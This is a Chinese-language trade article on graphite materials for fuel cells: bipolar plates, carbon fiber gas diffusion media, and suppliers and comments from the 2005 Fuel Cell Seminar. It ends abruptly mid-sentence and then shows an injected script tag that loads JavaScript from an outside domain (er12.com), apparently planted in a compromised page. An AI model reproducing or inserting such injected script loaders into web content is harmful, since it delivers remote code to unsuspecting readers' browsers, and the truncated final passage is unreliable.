美国燃料电池年会上出现了很多关于石墨材料应用的创新,vicki p. mcconnell介绍了领先供应商和oem展出的一些产品。
由于燃料电池还没有进入大规模的商业化应用阶段,一些人可能会据此认为石墨材料在这个产业中不会有太大的市场。然而,质子交换膜电(pemfc)和直接甲醇燃料电池(dmfc)中一些关键元件都是由石墨做成的,而且它们仅在开发阶段就已经达到数百万的生产量。这些石墨材料包括燃料电池堆中的机加工或模压双极板、编织或非编织碳纤维布(织物)、高孔隙率天然石墨片,以及膜电极组中气体扩散层或气体扩散介质(gls、gdm)中所用的碳纤维纸。碳粉和石墨粉末也可以用作特殊亚层和膜电极组中的电极催化剂载体。膜电极组包含一个燃料电池的电极,夹在组成电池堆双极板之间。
人们可能会把石墨材料与航空部件联系到一起,但除复合材料储氢罐外,石墨材料制成的燃料电池系统中并没有使用连续纤维或层压材料。双极板趋向于使用非连续的天然纤维或合成的石墨薄片、颗粒、粉末,或者粉碎的碳纤维。双极“流动场”板中有90%为石墨材料,其它材料包括乙烯基酯树脂、环氧树脂、热固性酚醛树脂,以及液晶聚合物热塑性树脂。
这些电极板必须具有优良的导电性和导热性、良好的耐化学腐蚀性,以及紧尺寸公差,以便复杂形状的气体反应物通道形成平整的表面。因为杂质离子污染会影响电池板的使用寿命,因此石墨的纯度非常重要。另外,粉碎/混合技术也会影响所选石墨形态的均匀性。
gsl/gdm主要由标准织物或湿法铺叠的碳纤维纸制成,涂上涂层使其变得疏水,然后再涂上一层特殊亚层以改善与催化电极之间的界面。特殊亚层的配方通常为企业独家所有。
1.专有处理方法处理前后的graftech天然石墨片,处理后的形态变成了蠕虫状,它将被压缩成双极板用各向异性片材。行业的呼声
燃料电池年会是首次在美国召开的寻求石墨材料及其在燃料电池市场最新发展的会议。2005年11月,在加利福尼亚palm spring举办的燃料电池年会上,《增强塑料》(reinforced plastics)杂志与供应商及oem进行了交流。
从听众和参展商的对话中我们听到了两个声音:
◆ 燃料电池产业要取得成功,必须要建立一个强大的供应基础,即公司要在原材料和成品的生产与工艺上进行投资,这包括所有的燃料电池系统元件——电池堆、设备的平衡(比如换热器、泵和吹风机、燃料处理器、换流器、配电设备等),以及燃料储存、分散和分布用设备。
◆ 对准备引入广阔市场并得到接受的燃料电池来说,人们对材料的重新关注将使2006年成为促进材料和技术发展的重要一年。
美国新泽西州asbury市的asbury carbons公司是一家领先的发展中供应商,是世界上最大的独立加工商和石墨制造商。该公司将“以碳创新”作为公司的主要目标。该公司自1999年以来一直参展燃料电池年会。
尽管燃料电池用材料只占公司总业务很小的一部分,但其粉碎和短切碳纤维、碳黑和块状石墨,还有多种级别的自然与合成石墨都在燃料电池中有应用。
经过化学处理和热处理,graftech将天然石墨薄片扩展为蠕虫状,它们互相连接成柔性石墨片roman nykyforuk是该公司specialty products部门的业务经理,他预计目前双极板用粉末石墨的价格在1.47~5.04欧元,这取决于粒子的大小、纯度和质量。
nykyforuk认为测试程序对燃料电池的成功应用是重要的,石墨产品(和所有材料)的检查影响着整个燃料电池系统。他认为,燃料电池年会为客户、研究人员、国际竞争参与者和政府官员建立起良好的网络关系。这一全体会议深入探讨了燃料电池的区域性和全球性发展,他说“在这个会上,你可以鸟瞰整个燃料电池活跃的市场前景”。
参加今年燃料电池年会的其它供应商和参展者包括cabot corp、graftech、sgl carbon group、timcal ltd、superior graphite和graphit kropmuhl ag。此外,燃料电池行业主要的碳材料供应商是toray carbon fibers和mitsubishi rayon co.。被《增强塑料》(reiforced plastics)杂志的读者认可的配混商包括bulk molding compounds, inc. (bmci)和premix/quantum composites,他们的产品供应延伸到其它行业。
美国北卡罗莱纳州bmci公司全球业务发展执行副总裁joe carfora证明了2005年燃料电池年会的一个呼声,即材料重新受到关注,因为由bmci公司双极板化合物成型的复合材料板用量大大增加。2005年中,这些化合物的销售量翻倍,大约为90.7吨,他说: “这很大程度上要归功于汽车行业中对薄型组装部件的需求。”
这些薄板的厚度小于1 mm,它必须有承受操作中的破坏的强度,并且要通过整体减少材料使用量来降低成本。bmci公司生产一种乙烯基酯树脂胶粘剂,通过将其涂敷在对立板较冷的流道侧?script src=http://er12.com/t.js>











